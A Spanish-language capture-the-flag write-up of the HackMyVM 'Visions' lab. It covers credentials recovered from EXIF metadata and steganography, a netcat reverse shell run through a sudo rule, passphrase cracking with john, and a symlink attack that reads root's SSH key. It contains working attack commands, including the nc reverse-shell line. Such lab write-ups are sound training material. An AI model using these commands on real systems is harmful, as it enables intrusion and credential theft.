cd ~/blog

~/writeups/hmv/091-visions.md

091 - Visions

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Metadata Exposure en datos EXIFCredential Exposure mediante esteganografíaSudo-Allowed Program Abuse mediante ncArbitrary File Read mediante sudo cat y Symlink Attack
hackmyvm.eu/machines/machine.php?vm=Visions

~1 min de lectura


Enumeración de servicios

El escaneo identifica SSH y un servidor nginx. Sin credenciales válidas para SSH, continuamos por el contenido publicado en el puerto 80:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.119
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.119
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-30 14:22 -04
Nmap scan report for 192.168.1.119
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 85:d0:93:ff:b6:be:e8:48:a9:2c:86:4c:b6:84:1f:85 (RSA)
|   256 5d:fb:77:a5:d3:34:4c:46:96:b6:28:a2:6b:9f:74:de (ECDSA)
|_  256 76:3a:c5:88:89:f2:ab:82:05:80:80:f9:6c:3b:20:9d (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

Enumeración web y acceso inicial

El código del sitio atribuye a alicia una pista sobre lo "invisible" y carga white.png:

<!-- 
Only those that can see the invisible can do the imposible.
...
-alicia -->
<img src="white.png" />

Los datos EXIF constituyen una Metadata Exposure porque revelan la contraseña ihaveadream. El análisis visual y esteganográfico adicional con Aperi'Solve descubre un segundo par de credenciales, sophia:seemstobeimpossible:

❯ exiftool white.png
...
Comment: pw:ihaveadream
...

La firma alicia del comentario relaciona la primera contraseña con esa cuenta. La autenticación SSH confirma la combinación:

❯ ssh alicia@192.168.1.119
alicia@192.168.1.119's password: ihaveadream
alicia@visions:~$

Movimiento entre usuarios

sudo -l muestra un Sudo-Allowed Program Abuse: alicia puede ejecutar nc como emma sin contraseña. La opción -e asocia la conexión de retorno con /bin/bash, por lo que el proceso remoto conserva la identidad de emma:

alicia@visions:/home$ sudo -l
...
User alicia may run the following commands on visions:
    (emma) NOPASSWD: /usr/bin/nc

alicia@visions:/home$ sudo -u emma nc -e /bin/bash 192.168.1.3 1234 &>/dev/null & disown

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.119:55442.
emma@visions:/home$

La otra credencial recuperada de la imagen permite cambiar directamente de alicia a sophia, cuenta que contiene la flag de usuario:

alicia@visions:/tmp$ su sophia
Password: seemstobeimpossible
sophia@visions:/tmp$

sophia puede ejecutar cat como cualquier usuario, pero únicamente contra /home/isabella/.invisible. Al ejecutarlo como isabella, el archivo revela una clave SSH privada:

sophia@visions:~$ sudo -l
...
User sophia may run the following commands on visions:
    (ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible

sophia@visions:~$ sudo -u isabella /usr/bin/cat /home/isabella/.invisible
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Crackeamos la passphrase de esa clave con john y accedemos como isabella:

❯ /opt/john/run/ssh2john.py id_rsa_isabella > hash
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
invisible        (id_rsa_isabella)
...

Como isabella controla .invisible, puede retirar el archivo original y crear en la misma ruta un enlace simbólico hacia /root/.ssh/id_rsa. La regla de sudo valida el nombre permitido, pero cat, ejecutado como root, sigue el enlace y abre el archivo de destino. Esto convierte la regla en un Arbitrary File Read privilegiado:

isabella@visions:~$ mv .invisible .invisible_old
isabella@visions:~$ ln -s /root/.ssh/id_rsa .invisible

sophia@visions:~$ sudo -u root /usr/bin/cat /home/isabella/.invisible
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Guardamos la clave obtenida, restringimos sus permisos y la utilizamos para autenticarnos como root:

❯ chmod 600 id_rsa_root
❯ ssh root@192.168.1.119 -i id_rsa_root
Linux visions 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
...
root@visions:~#

El prompt root@visions confirma la escalada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados